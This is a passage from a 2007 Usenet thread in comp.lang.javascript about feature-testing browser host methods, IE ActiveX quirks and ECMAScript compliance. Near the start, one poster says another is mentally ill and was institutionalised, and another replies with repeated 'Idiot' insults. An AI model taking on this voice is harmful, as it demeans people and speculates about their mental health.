to give advice on what "A really good program/programmer must" do?
Personally I stick to my long standing conclusion that the explanation
is mental illness on your part. That fully explains the incoherent
gibbering, the inability to understand logic, programming languages, and
to program, the inability to analyse effectively and the
inability/unwillingness to recognise any of these faults in yourself.
My conclusion was re-enforced by observing your last post preceding your
recent 'sabbatical' with the subject "Sanskrit jan and English birth":-
<URL:
http://groups.google.com/group/rec.skydiving/browse_frm/thread/c8fe1f47428e4f3a >
- which is gibberish beyond any doubt. It is such gibberish that it
could only be the work of a madman or be machine generated text, but
even if machine generated it would take a loony to post it to Usenet.
And you apparently thought it on topic in alt.skydiving.
I assume they locked you up for a few months shortly after that. You may
be out now but remember they let you out when you are no longer judged
to represent a physical danger to yourself or others; it does not mean
you are cured. Mental illnesses don't tend to get cured, only managed
(or not).
> No one has to read all posts of yours for the last X days
> in all threads just to be able to understand what are
> talking about.
And nobody has to read more than a sample of your posts to see that even
you don't know what you are talking about, let alone anyone else.
Richard.
David Mark
> On Dec 16, 9:26 pm, David Mark <dmark.cins...@gmail.com> wrote:
>
> > > And again coming back to the first, "Thomas' concern", even if a
> > > workaround found, how does it protect from say:
>
> > > window.external = {
> > > 'AddFavorite' : function() {
> > > return true;
> > > }
>
> > > }
> > You don't. Case closed on that.
>
> Closed by who? Please do not mix a ticket case on a support desk with
Case closed by logic. There is no need to argue about something that
has been stipulated.
> a Usenet thread. Anyone can start one. No one rule it, though OP
> author's asks are usually getting more attention then others. If you
> cannot agree with that then you should work on a moderated project
> site instead.
Idiot.
>
> > > You should really re-spell the task you are trying to achieve. Do
> > No I shouldn't.
>
> Yes you should: again, if you are planning to work in the Usenet. Up
> till now in the the thread I see only Peter's formulation of your
> concerns in his OP. From your side I see nothing but two isolated
> lines of code athttp://groups.google.com/group/comp.lang.javascript/msg/caaacf270455e2c0
> - minus "drunk cowboys", "flowers" etc.
> If you have anything to discuss with the community then do it. If
> everything is clear to yourself and all cases are closed then why are
> you keep posting at c.l.j. ?
Idiot.
>
> > > want some xtypeof guarantees to say true or false on "is callable"
> > > request and these true and false are always right? You cannot do that
> > > for 100% of situations, even if you spend the rest of your lives on
> > > programming typeof wrappers. Do you agree on some lesser universal
> > > compromise? If yes then what would it be?
> > How can you possibly not understand what the two-line function does
> > and does not do at this point. It boggles the mind.
>
> Again, two lines in where? in Peter's code? Which ones? Your own code
> - I mean posted from your name - I have found in this thread consists
> of
Idiot.
>
> > This does not throw an error. Example:
>
> > (typeof window.external.addFavorite)
>
> > Evaluates to "unknown"
>
> > (window.external.addFavorite)
>
> > Throws an error in IE.
>
> Are these "two lines of code" you are talking about? Something else?
> Can you stop pretending to be Mr. Very Mysterious Man for a second?
Idiot. Peter posted the two-line function that has now been much-
discussed in this thread. Apparently you haven't been paying
attention at all, but that is nothing new.
>
> For the error on window.external.addFavorite then of couse it throws
> exception. Who the hey would decide to try to apply JavaScript type
> conversion rules on a VB chunk of code? That one of rules of higher
Idiot.
> level programming: do not relay on boolean type conversions. They are
> great for quick-n'-dirty coding and I use them a lot. But to play on
> the safe side the rule changes: "you need a boolean check - so use
> boolean values".
Idiot. You don't know when it is safe and when it is not. If you had
read the thread, you would have known that at this point.
>
> if (('external' in window) &&
> ('AddFavorite' in window.external)) {
That's the last straw.
> // keep wasting your time
> // until spuffed}
>
> else {
> // you are lucky or
> // finally spuffed so
> // start to do something
> // useful
>
>
Go "spuff" yourself (whatever that means.) We are done here.
VK
wrote:
<VK >> null>
Oh... 220mm mortars of 2005th series... A heavily outdated armor but
still spooky noisy. :-)
What can I say for everything: loosers are searching for theoretical
failures cases and fighting with any kind of libraries - winners are
leaving them next week for Javascript-paid 3 days of Tahoe snow. ;-)
P.S. What bugs me on the background is that with all human/hours put
so far into document.getElementById detection and other useless doings
one could write a robust wrapper for WebServices (Gecko/IE) or
something else what no one else provide so to be grabbed hot right
from one's hands. It is not my damn business of course what other
people are doing at their spare time, just bugs me a bit.
P.P.S. IMHO and based on my business experience the time for basic
libraries of Prototype.js is gone. It should be maid 3-4 years ago
then everyone was starving around. Now the niche is taken and any -
even the most ugly - older library has a huge advantage over any new
one: just because it already failed X times in different real
situations and was fixed for them. And any new "perfect" library still
has its necessary X failures to happen in the future at someone
expenses. So the only way to grab an attention would be doing some
cutting edge stuff better, quicker and cheaper than anyone else - and
inside such library then one may implement any own ideas of the
correct coding.
Randy Webb
> On Dec 15, 11:42 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> David Mark said the following on 12/15/2007 3:52 PM:
>>
>>> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>>>> Peter Michaux said the following on 12/15/2007 12:04 AM:
<snip>
>>>> test your head off and IE will pass every one of them. It still falls
>>>> down on itself when trying to appendChild to a script element. The only
>>>> way to know it is going to work, or not, in IE is to execute it or
>>>> detect IE - either through explicit or implicit tests.
>>> I use the canHaveChildren property.
>> That is implicitly testing, not directly testing though. My point is
>> simply that no *direct* testing of the properties that are used will
>> uncover the failure. And, nobody can say if that is the only one or if
>> there are more. Or, even if there are some places in other browsers with
>> the same type of problems.
>
> I think it is a very appropriate test for IE. That is what that
> property is for.
Do you test it for any use of appendChild or only in the one place that
it is known to have a problem? And, is there a counterpart in other
browsers?
>>>> That is part of the problem in this group. People trying to make things
>>>> more difficult than they have to be simply because some browser back in
>>>> 1997/1998 won't execute the present day code.
>>> The isHostMethod (nee isFeaturedMethod) function is easy enough to use
>>> and it is at most two lines long.
>> Not sure what nee means. But, I searched for isHostMethod and
>> isFeaturedMethod and it is buried in a 150+ post thread. I didn't keep
>> up with that thread so not sure exactly what you think the two lines
>> would be.
>
> The original two lines haven't changed. Take a look at the Code Worth
> Recommending project if you want a clearer view of the code discussed
> so far (and a lot of proposed code that hasn't yet been discussed.)
It is ~160 posts deep now, I will try to sit down tonight and tomorrow
and read through it. I didn't follow it in depth (not even sure why I
read this one).
>>>> I also think that trying to detect that failure will mask potential bugs
>>>> in browsers.
>>> You can't detect it reliably anyway. They could overwrite the method
>>> with a function or Object object, which would pass muster.
>> Anybody can break anything if they set out to do it. But, what is the
>> point in writing a "two line function" that can be trivially defeated?
>
> The point is that it is far better than feature testing like this:
>
> if (document.getElementById) {
> ...
> }
> The main enhancements are that it doesn't blow up on ActiveX objects,
I don't use ActiveX so I can't even comment on it. Needless to say, I
don't have to worry about that part of it.
> isn't fooled by overwriting host methods with true, 1, etc. and allows
> for simplified gateway code with centralized testing logic.
Anybody that overwrites host methods deserves what they get. The only
time that can be an issue is if you are using third party libraries though.
> Writing similar code over and over would bloat applications and make for
> future maintenance headaches (assuming a browser comes out in the
> future and breaks something in an unforeseen way.)
That I totally agree with when it comes to testing procedures. Not so
much for generic functions though.
Dr J R Stockton
Sat, 15 Dec 2007 23:42:29, Randy Webb <HikksNo...@aol.com> posted:
>It makes that function next to useless based on that criteria.
Please eschew words that you do not understand; it confuses those who
have undertaken EFL.
--
(c) John Stockton, Surrey, UK. ?@merlyn.demon.co.uk Turnpike v6.05 MIME.
Web <URL:http://www.merlyn.demon.co.uk/> - FAQish topics, acronyms, & links.
Proper <= 4-line sig. separator as above, a line exactly "-- " (SonOfRFC1036)
Do not Mail News to me. Before a reply, quote with ">" or "> " (SonOfRFC1036)
Peter Michaux
> On Dec 16, 10:24 pm, "Richard Cornford" <Rich...@litotes.demon.co.uk>
> wrote:
>
> <VK >> null>
>
> Oh... 220mm mortars of 2005th series... A heavily outdated armor but
> still spooky noisy. :-)
>
> What can I say for everything: loosers are searching for theoretical
> failures cases and fighting with any kind of libraries - winners are
> leaving them next week for Javascript-paid 3 days of Tahoe snow. ;-)
>
> P.S. What bugs me on the background is that with all human/hours put
> so far into document.getElementById detection and other useless doings
> one could write a robust wrapper for WebServices (Gecko/IE) or
> something else what no one else provide so to be grabbed hot right
> from one's hands. It is not my damn business of course what other
> people are doing at their spare time, just bugs me a bit.
The discussion about document.getElementById has simply been a vehicle
for a more important discussion about feature detection techniques and
which features should be detected and which can be assumed.
[snip]
Randy Webb
> In comp.lang.javascript message <gPudnUY_M_A...@giganews.com>,
> Sat, 15 Dec 2007 23:42:29, Randy Webb <HikksNo...@aol.com> posted:
>
>> It makes that function next to useless based on that criteria.
>
> Please eschew words that you do not understand; it confuses those who
> have undertaken EFL.
>
Please buy you some common sense as it is obvious you possess none.
Peter Michaux
> David Mark said the following on 12/16/2007 8:42 AM:
>
> > On Dec 15, 11:42 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> >> David Mark said the following on 12/15/2007 3:52 PM:
>
> >>> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
[snip]
> >>>> That is part of the problem in this group. People trying to make things
> >>>> more difficult than they have to be simply because some browser back in
> >>>> 1997/1998 won't execute the present day code.
> >>> The isHostMethod (nee isFeaturedMethod) function is easy enough to use
> >>> and it is at most two lines long.
> >> Not sure what nee means.
"used to identify a woman by her maiden family name"
<URL: http://www.meriam-webster.com/dictionary/nee>
> But, I searched for isHostMethod and
> >> isFeaturedMethod and it is buried in a 150+ post thread. I didn't keep
> >> up with that thread so not sure exactly what you think the two lines
> >> would be.
>
> > The original two lines haven't changed. Take a look at the Code Worth
> > Recommending project if you want a clearer view of the code discussed
> > so far (and a lot of proposed code that hasn't yet been discussed.)
>
> It is ~160 posts deep now, I will try to sit down tonight and tomorrow
> and read through it. I didn't follow it in depth (not even sure why I
> read this one).
The original function David posted was
var reFeaturedMethod = new RegExp('^function|object$', 'i');
var isFeaturedMethod = function(o, m) {
var t = typeof(o[m]);
return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
};
> >>>> I also think that trying to detect that failure will mask potential bugs
> >>>> in browsers.
> >>> You can't detect it reliably anyway. They could overwrite the method
> >>> with a function or Object object, which would pass muster.
> >> Anybody can break anything if they set out to do it. But, what is the
> >> point in writing a "two line function" that can be trivially defeated?
>
> > The point is that it is far better than feature testing like this:
>
> > if (document.getElementById) {
> > ...
> > }
> > The main enhancements are that it doesn't blow up on ActiveX objects,
>
> I don't use ActiveX so I can't even comment on it. Needless to say, I
> don't have to worry about that part of it.
From what I've been reading, you may use it and not even know it. The
anchor to news resources example was a surprise to me.
> > isn't fooled by overwriting host methods with true, 1, etc. and allows
> > for simplified gateway code with centralized testing logic.
>
> Anybody that overwrites host methods deserves what they get. The only
> time that can be an issue is if you are using third party libraries though.
And mashups (where there is third party code but it isn't really a
library.)
And injecting code into a legacy page where there isn't time to read
the thousands of lines like
eval("obj."+propName+";");
> > Writing similar code over and over would bloat applications and make for
> > future maintenance headaches (assuming a browser comes out in the
> > future and breaks something in an unforeseen way.)
>
> That I totally agree with when it comes to testing procedures. Not so
> much for generic functions though.
--
Peter Michaux
I think the specification is contradictory. Section 8.6.2 starts by
stressing the internal methods are "purely for expository purposes"
and that an "implementation of ECMAScript must behave as if it
produced and operate on internal properties..." then they are
*clearly* implying that the internals of the implementation can be
coded any way the implementor wishes to. Then to later say that "Every
object (including host objects) must implement [certain internal
methods]" is a contradiction. My interpretation is that the spec
writers intended to write "Every object (including host objects) must
behave as though it implements [certain internal properties and
methods]". That is consistent with the beginning of 8.6.2.
> >>> They need to behave as though the implement [[Get]].
> >> That is a matter of interpretation.
>
> > No. Read the third sentence of 8.6.2.
>
> Read 8.6.2 yourself, again. And this time you should read the most recent
> revision.
I have 3rd ed December 1999.
[snip]
> >>>> but they do not need to implement it in the way that is defined in
> >>>> the ECMAScript Specification. IOW, they may throw an exception as
> >>>> well.
> >>> True. This suggests wrapping the feature testing in try-catch is a
> >>> good idea, if the desired behavior is to avoid thrown errors being
> >>> visible to the user.
> >> Hardly. try..catch may throw its own errors for the UAs where
> >> feature-testing would prevent all errors there otherwise.
>
> > try-catch may throw syntax errors in non-compliant browsers and in a
> > practical sense all old browsers.
>
> Maybe you should stop constraining the use of ECMAScript applications to
> browsers.
I program for browsers and the code under discussion is for browsers.
> However, it will break in any UA that has a script engine that
> does not implement try..catch.
That is an engine that is non-compliant with ES3 or even trying to be
compliant with ES3. I'm not programming for those. Those go down the
degradation path. This is not a substantial loss given the proportion
of users with browsers that do not have try-catch. If you are
programming for implementations that are not ES3 compliant or at least
trying to be ES3 compliant then there is no use quoting from the ES3
spec.
> Whether that UA is "old" is irrelevant.
If it is old, unpopular, and unlikely to regain popularity then it is
relevant.
> Exception handling was among the newest language features that were
> implemented. It can not be expected to be supported.
I think it can be expected to be supported. This is another "where to
draw the line" issues. In rare cases the try-catch will cause one
syntax error and the page will fall back to plain HTML. That is a
sufficiently good user experience for rare users with browsers that
don't comply with an 8 year old standard.
[snip]
Randy Webb
> On Dec 15, 11:51 am, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> Peter Michaux said the following on 12/15/2007 12:04 AM:
>>
>>> There have been many threads lately about testing for the existence of
>>> host object methods. I have usually just feature tested the existence
>>> of host methods with the following
>>> if (document.getElementById)
>> var newScript = document.createElement('script');
>> newScript.type = "text/javascript";
>> var s = document.createTextNode(d[x].text);
>> newScript.appendChild(s);
>>
>> Ever seen that code? (Or rather, something close to it). You can feature
>> test your head off
>
> :)
>
> Sometimes I think that when designing a feature test we are just lucky
> to find a particular path of feature testing that works. If there were
> more browsers with more weird bugs, there may be no path of feature
> testing that worked. It may be the only way would be
> navigator.userAgent or some other method to determine the browser
> rather than test it's features.
<snip>
>>> One reason for concern is the above test does not determine if
>>> document.getElementById is callable. No one has reported a case where
>>> a browser that has document.getElementById will be non-callable. In
>>> some browsers it may be that some other JavaScript has assigned a non-
>>> callable value to the the document.getElementById property. In those
>>> browsers, it may also be true that someone has assigned a function to
>>> document.getElementById. If this has been done then none of the
>>> proposed tests would detect that the callable value is not the
>>> expected callable value.
>> And if it is over-written, then isn't the author better off knowing that
>> he screwed up rather than trying to get around that?
>
> Yes. If host objects are being overwritten the code is basically
> screwed and anything could happen. If somewhere before my code feature
> tests for document.getElementById someone has written the following
> then I have a detailed feature test to write that is way to paranoid
> to consider writing.
>
> document.getElementById = function() {
> throw new Error('heheheheeh, gotcha!');
> }
At one time, I had code that redefined document.getElementById for IE
that tested to ensure that it was an ID'ed element it found instead of a
NAME'ed element. I stopped using it because I started making sure I
wouldn't run into that bug in IE.
<input name="something">
<div id="something"></div>
Valid HTML in all respects, but, document.getElementById('something')
doesn't find the right one in IE. Why? I think it is because gEBI is not
a function in IE, it was simply a wrapper for the document.all
collection. No way to know for sure whether it is or not though.
>> Trying to compensate for that in libraryY or libraryZ isn't solving
>> a problem, only making it transparent so that the real problem doesn't
>> get corrected. Don't confuse that with trying to correct bugs in a
>> browser (e.g. IE and toFixed).
>>
>>> Thomas Lahn seems particularly concerned about these problems (and he
>>> is preparing to tell I am wrong or that I have missed the point.)
>> Remember that you are referring to a person who wrote a 306 line script
>> to do a simple image swap.
>
> If he can convince his boss that is a good use of time then good for
> him.
That wasn't my point :) Thomas has a very intense propensity to try to
make things as difficult as possible when it can be made trivially simple.
>>> Another reason for concern is that even though the host may provide a
>>> callable document.getElementById but that when writing just "if
>>> (document.getElementById)" it isn't the [[Call]] property the [[Get]]
>>> property that is used. David Mark seems to think this is a problem
>>> with some (all?) ActiveX objects. All host objects are required to
>>> implement [[Get]] so IE is not ECMAScript compliant if it does not. So
>>> when we are feature testing host objects we are worried about testing
>>> ECMAScript non-compliant browsers.
>> ActiveX components are different animals and need to be dealt with
>> differently.
>
> If ActiveX objects are exposed in a compliant ECMAScript
> implementation then they are host objects. Host objects must have
> [[Get]]
That is part of why I have always said that you can write very
cross-browser scripts without even knowing what ECMAScript is. And it is
also part of the reason I have my opinion about ECMAScript that I do.
You can know ECMAScript inside and out and unless you know what a
browser is going to do with that code then it is useless. It was nothing
more than an attempt to standardize what was already in place. It worked
in some areas, not in others.
The only way you will ever see 100% compliance with ECMAScript, the W3C,
WAI or any other "Standards" or "Guidelines" for the web is if there is
an ability to enforce it. Right now, there is no way in the world to
enforce compliance. What reason does MS have to re-write a browser for
no reason other than to say "OK, it is compliant"? Especially when
people aren't complaining to Microsoft about it.
>> As for ECMAScript, we will leave that one alone.
>>
>> <snip>
>>
>>> This is a general mess thanks to the possible behaviors of non-
>>> compliant browsers.
>> That is why I have always said "Give me what works, not what some
>> standard says". You can write 100% "compliant" code and if it won't
>> execute properly in a browser then it is pretty useless, isn't it?
>
> Of course it is and I agree with you.
> Suppose there are two ways to write code and they both work in all the
> browsers. In addition to this one of them is standards compliant. I
> would choose the standards compliant one because the other one
> probably only works due to luck or browser bugs.
Of course. I would too. But, when you can't write a 100% fool-proof
"standards compliant" script to do it, you have two choices:
1) Let it break in browsers.
2) Say to heck with the standards.
I chose option 2 :)
<snip>
Randy Webb
> On Dec 16, 12:35 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> David Mark said the following on 12/16/2007 8:42 AM:
>>
>>> On Dec 15, 11:42 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>>>> David Mark said the following on 12/15/2007 3:52 PM:
>>>>> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
<snip>
>> But, I searched for isHostMethod and
>>>> isFeaturedMethod and it is buried in a 150+ post thread. I didn't keep
>>>> up with that thread so not sure exactly what you think the two lines
>>>> would be.
>>> The original two lines haven't changed. Take a look at the Code Worth
>>> Recommending project if you want a clearer view of the code discussed
>>> so far (and a lot of proposed code that hasn't yet been discussed.)
>> It is ~160 posts deep now, I will try to sit down tonight and tomorrow
>> and read through it. I didn't follow it in depth (not even sure why I
>> read this one).
>
> The original function David posted was
>
> var reFeaturedMethod = new RegExp('^function|object$', 'i');
>
> var isFeaturedMethod = function(o, m) {
> var t = typeof(o[m]);
> return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
> };
I found it shortly after posting.
>>>>>> I also think that trying to detect that failure will mask potential bugs
>>>>>> in browsers.
>>>>> You can't detect it reliably anyway. They could overwrite the method
>>>>> with a function or Object object, which would pass muster.
>>>> Anybody can break anything if they set out to do it. But, what is the
>>>> point in writing a "two line function" that can be trivially defeated?
>>> The point is that it is far better than feature testing like this:
>>> if (document.getElementById) {
>>> ...
>>> }
>>> The main enhancements are that it doesn't blow up on ActiveX objects,
>> I don't use ActiveX so I can't even comment on it. Needless to say, I
>> don't have to worry about that part of it.
>
> From what I've been reading, you may use it and not even know it. The
> anchor to news resources example was a surprise to me.
>
> <URL: http://groups.google.com/group/comp.lang.javascript/browse_frm/thread/737d56edda7edc99/34bbdd7bf4167041>
Let me clarify it a little better. I don't use var something = new
ActiveX('anything') in web page code. I use it on our intranet, it is
used in the process.wsf file that generates the group FAQ, and I use it
on my personal computer. But, for web work, I don't use it unless there
is a hidden use of it.
Still ignorant for MS to make a protocol an ActiveX component. Might
explain why the news: links don't work for me in IE.
>
>>> isn't fooled by overwriting host methods with true, 1, etc. and allows
>>> for simplified gateway code with centralized testing logic.
>> Anybody that overwrites host methods deserves what they get. The only
>> time that can be an issue is if you are using third party libraries though.
>
> And mashups (where there is third party code but it isn't really a
> library.)
"Third party code" would have been a better term to describe what I was
referring to.
> And injecting code into a legacy page where there isn't time to read
> the thousands of lines like
>
> eval("obj."+propName+";");
Luckily, I have never had to deal with that issue. When I got the
current job I have, the first thing we did was spent three months
irritating the crap out of my CEO because we were updating *all* of the
code. There was a moratorium on updates until it was finished. Doing
that prevented the issues that you are referring to.
And that is part of the problem with the current state of AJAX
applications. Just dumping code in and hoping it works just to be able
to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
David Mark
> David Mark said the following on 12/16/2007 8:42 AM:
>
> > On Dec 15, 11:42 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> >> David Mark said the following on 12/15/2007 3:52 PM:
>
> >>> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> >>>> Peter Michaux said the following on 12/15/2007 12:04 AM:
>
> <snip>
>
> >>>> test your head off and IE will pass every one of them. It still falls
> >>>> down on itself when trying to appendChild to a script element. The only
> >>>> way to know it is going to work, or not, in IE is to execute it or
> >>>> detect IE - either through explicit or implicit tests.
> >>> I use the canHaveChildren property.
> >> That is implicitly testing, not directly testing though. My point is
> >> simply that no *direct* testing of the properties that are used will
> >> uncover the failure. And, nobody can say if that is the only one or if
> >> there are more. Or, even if there are some places in other browsers with
> >> the same type of problems.
>
> > I think it is a very appropriate test for IE. That is what that
> > property is for.
>
> Do you test it for any use of appendChild or only in the one place that
> it is known to have a problem? And, is there a counterpart in other
> browsers?
I test before appending children to script or style elements, as well
as in generic routines that append children to any element. For
elements other than script or style, there are additional rules to
follow to ensure that the resulting markup is valid.
AFAIK, there is no counterpart for canHaveChildren in other browsers.
AFAIK, other browsers don't need it as badly as invalid append
operations fail silently rather than throwing exceptions.
In any event, the feature testing for adding script snippets is
convoluted, but does seem to work for most (if not all) cases.
[snip]
>
> It is ~160 posts deep now, I will try to sit down tonight and tomorrow
> and read through it. I didn't follow it in depth (not even sure why I
> read this one).
>
I wasn't referring just to the current topics of discussion. Future
topics are proposed on the project site.
> >>>> I also think that trying to detect that failure will mask potential bugs
> >>>> in browsers.
> >>> You can't detect it reliably anyway. They could overwrite the method
> >>> with a function or Object object, which would pass muster.
> >> Anybody can break anything if they set out to do it. But, what is the
> >> point in writing a "two line function" that can be trivially defeated?
>
> > The point is that it is far better than feature testing like this:
>
> > if (document.getElementById) {
> > ...
> > }
> > The main enhancements are that it doesn't blow up on ActiveX objects,
>
> I don't use ActiveX so I can't even comment on it. Needless to say, I
> don't have to worry about that part of it.
My point is that you can't always know when you are using an ActiveX
object. MS changes the rules with each release. Did you know that
some anchor elements are implemented as ActiveX objects in IE7? Doing
something as innocuous as testing the href property of a random link
can throw an error.
>
> > isn't fooled by overwriting host methods with true, 1, etc. and allows
> > for simplified gateway code with centralized testing logic.
>
> Anybody that overwrites host methods deserves what they get. The only
> time that can be an issue is if you are using third party libraries though.
I agree. I do not test for such foolishness. On a similar note, I
don't care for libraries that fill in missing methods either (even in
the rare event that the substitute implementation is perfect.) They
assume that they will never be used in the same page as a script that
makes inferences based on the presence of host methods.
>
> > Writing similar code over and over would bloat applications and make for
> > future maintenance headaches (assuming a browser comes out in the
> > future and breaks something in an unforeseen way.)
>
> That I totally agree with when it comes to testing procedures. Not so
> much for generic functions though.
I don't follow you there. Either you use a generic feature testing
function or you have to duplicate the same code endlessly.
David Mark
>
> Let me clarify it a little better. I don't use var something = new
> ActiveX('anything') in web page code. I use it on our intranet, it is
> used in the process.wsf file that generates the group FAQ, and I use it
> on my personal computer. But, for web work, I don't use it unless there
> is a hidden use of it.
>
> Still ignorant for MS to make a protocol an ActiveX component. Might
> explain why the news: links don't work for me in IE.
>
Exactly. For some unknown reason MS implements some element objects
(e.g. news links) as ActiveX objects. This wasn't the case in IE6,
but is in IE7. Nobody knows if this will be the case in future
versions of IE. They may decide to implement the document object that
way (imagine the ramifications of that.) This is why a generic
testing function makes sense.
[snip]
>
> And that is part of the problem with the current state of AJAX
> applications. Just dumping code in and hoping it works just to be able
> to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
> right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
Thanks to widespread abuse by incompetent developers, Ajax may be the
worst thing that ever happened to the Web. I particularly dislike
sites that use Ajax/innerHTML for page navigation. When the
developers of such sites find out that they broke the browser
navigation buttons, rather than seeing that they made a mistake, they
add bogus hashes and timers to compensate. Then they find out that
their inline scripts don't work, requiring additional insane
workarounds (as you are well aware.)
The result of all this is that much of the Web has turned into an
inaccessible wasteland. Thanks to script errors around every corner,
I often disable scripting. And of course, many sites refuse to do
anything but tell me "your browser does not support scripting" (if
that.)
I recently tried to tell one of the Google Code developers that a very
simple page of theirs didn't work without script. They came up with
several ridiculous ways that you could possibly make it work
(including manually typing long-winded URI's into the address box.)
After failing to convince them that this was ridiculous, I mentioned
that you couldn't even navigate to the page in question without script
(due to the use of pseudo-links.) Their response was the usual tired
"argument" asking where my way-cool code repository site was.
Informed that they were clearly not qualified to develop Websites or
even engage in rational discussions on the subject, they deleted my
membership in the group. See no evil, hear no evil, etc.
Dr J R Stockton
Sun, 16 Dec 2007 20:05:23, Randy Webb <HikksNo...@aol.com> posted:
>Dr J R Stockton said the following on 12/16/2007 6:19 PM:
>> In comp.lang.javascript message <gPudnUY_M_A...@giganews.com>,
>> Sat, 15 Dec 2007 23:42:29, Randy Webb <HikksNo...@aol.com> posted:
>>
>>> It makes that function next to useless based on that criteria.
>> Please eschew words that you do not understand; it confuses those
>>who
>> have undertaken EFL.
>>
>
>Please buy you some common sense as it is obvious you possess none.
See <http://www.chambersharrap.co.uk/chambers/features/chref/chref.py/ma
in?query=criteria&title=21st&sourceid=Mozilla-search>.
--
(c) John Stockton, Surrey, UK. ???@merlyn.demon.co.uk Turnpike v6.05 MIME.
Web <URL:http://www.merlyn.demon.co.uk/> - FAQish topics, acronyms, & links.
Check boilerplate spelling -- error is a public sign of incompetence.
Never fully trust an article from a poster who gives no full real name.
Randy Webb
> On Dec 16, 3:35 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> David Mark said the following on 12/16/2007 8:42 AM:
>>
>>> On Dec 15, 11:42 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>>>> David Mark said the following on 12/15/2007 3:52 PM:
>>>>> On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
<snip>
>>>>>> I also think that trying to detect that failure will mask potential bugs
>>>>>> in browsers.
>>>>> You can't detect it reliably anyway. They could overwrite the method
>>>>> with a function or Object object, which would pass muster.
>>>> Anybody can break anything if they set out to do it. But, what is the
>>>> point in writing a "two line function" that can be trivially defeated?
>>> The point is that it is far better than feature testing like this:
>>> if (document.getElementById) {
>>> ...
>>> }
>>> The main enhancements are that it doesn't blow up on ActiveX objects,
>> I don't use ActiveX so I can't even comment on it. Needless to say, I
>> don't have to worry about that part of it.
>
> My point is that you can't always know when you are using an ActiveX
> object. MS changes the rules with each release. Did you know that
> some anchor elements are implemented as ActiveX objects in IE7? Doing
> something as innocuous as testing the href property of a random link
> can throw an error.
I didn't know about IE7 with anchors until you mentioned it.
<snip>
>>> isn't fooled by overwriting host methods with true, 1, etc. and allows
>>> for simplified gateway code with centralized testing logic.
>> Anybody that overwrites host methods deserves what they get. The only
>> time that can be an issue is if you are using third party libraries though.
>
> I agree. I do not test for such foolishness. On a similar note, I
> don't care for libraries that fill in missing methods either (even in
> the rare event that the substitute implementation is perfect.) They
> assume that they will never be used in the same page as a script that
> makes inferences based on the presence of host methods.
Personally, I don't care for libraries at all. Not in the sense of third
party libraries such as Prototype, YUI, Mootools, etc. I just don't care
for them. People are going to use them, nobody in c.l.j will ever stop
it. If code is in one of my pages, I want to know, beyond any doubt, any
and everything it is doing.
>>> Writing similar code over and over would bloat applications and make for
>>> future maintenance headaches (assuming a browser comes out in the
>>> future and breaks something in an unforeseen way.)
>> That I totally agree with when it comes to testing procedures. Not so
>> much for generic functions though.
>
> I don't follow you there. Either you use a generic feature testing
> function or you have to duplicate the same code endlessly.
When I was thinking about "generic functions", I wasn't referring to the
testing aspect of it. My mind was on something else and it wandered in
my fingers.
Randy Webb
> In comp.lang.javascript message <lvKdnVhKF6H...@giganews.com>,
> Sun, 16 Dec 2007 20:05:23, Randy Webb <HikksNo...@aol.com> posted:
>> Dr J R Stockton said the following on 12/16/2007 6:19 PM:
>>> In comp.lang.javascript message <gPudnUY_M_A...@giganews.com>,
>>> Sat, 15 Dec 2007 23:42:29, Randy Webb <HikksNo...@aol.com> posted:
>>>
>>>> It makes that function next to useless based on that criteria.
>>> Please eschew words that you do not understand; it confuses those
>>> who
>>> have undertaken EFL.
>>>
>> Please buy you some common sense as it is obvious you possess none.
>
> See <http://www.chambersharrap.co.uk/chambers/features/chref/chref.py/main?query=criteria&title=21st&sourceid=Mozilla-search>.
That's nice.
Peter Michaux
> On Dec 17, 1:12 am, Randy Webb <HikksNotAtH...@aol.com> wrote:
[snip]
> > And that is part of the problem with the current state of AJAX
> > applications. Just dumping code in and hoping it works just to be able
> > to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
> > right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
>
> Thanks to widespread abuse by incompetent developers, Ajax may be the
> worst thing that ever happened to the Web. I particularly dislike
> sites that use Ajax/innerHTML for page navigation. When the
> developers of such sites find out that they broke the browser
> navigation buttons, rather than seeing that they made a mistake, they
> add bogus hashes and timers to compensate. Then they find out that
> their inline scripts don't work, requiring additional insane
> workarounds (as you are well aware.)
Using the hash to make bookmark friendly URLs can be a very good user
experience, in my opinion. Technically there is a flaw that in some
browsers the page may reload. This is actually the case in some
versions of Safari. However I think the idea of using the hash this
way is great in a page like <URL: http://maps.yahoo.com> when dragging
the map around.
Randy Webb
That was one of the issues that I spent a lot of time dealing with at
work was the ability for a user to return to where they were in a .js
file driven system. What we ended up with was a hidden form in every
.html file that kept track of what .js files were loaded, what data was
in what forms, any information needed to return it back to the state it
was in when the user wanted to bookmark it. There is a link in the upper
right corner of each page that is a "Bookmark" link that a user clicks
on that submits the hidden form to the server. The server then saves the
information into a database and returns a page to the user with a URL
with a hash that is associated with the database entry. Since 99% of
what is done on the Intranet is time critical, no DB entry is left for
more than 30 days. It gets purged. On average, with 100,000+ terminals,
the DB has around 500,000 entries in it.
The #1 complaint the first thirty days after we implemented it? "That is
too much trouble".
The #1 request after six months of using the system? "Can you do that
for websites as well?". Now, we are working on the same type of system
to run as part of the proxy system to insert the hidden form into any
website page for Favorites use.
And, Favorites is one of the sticking issues with converting the entire
company website to a .js file driven system. How well the proxy system
works will give me a pretty fair indication of well it will potentially
work on the website.
As for AJAX, I think the future of it depends on whether people keep
crutching it or finally realize that in order for it to work and give
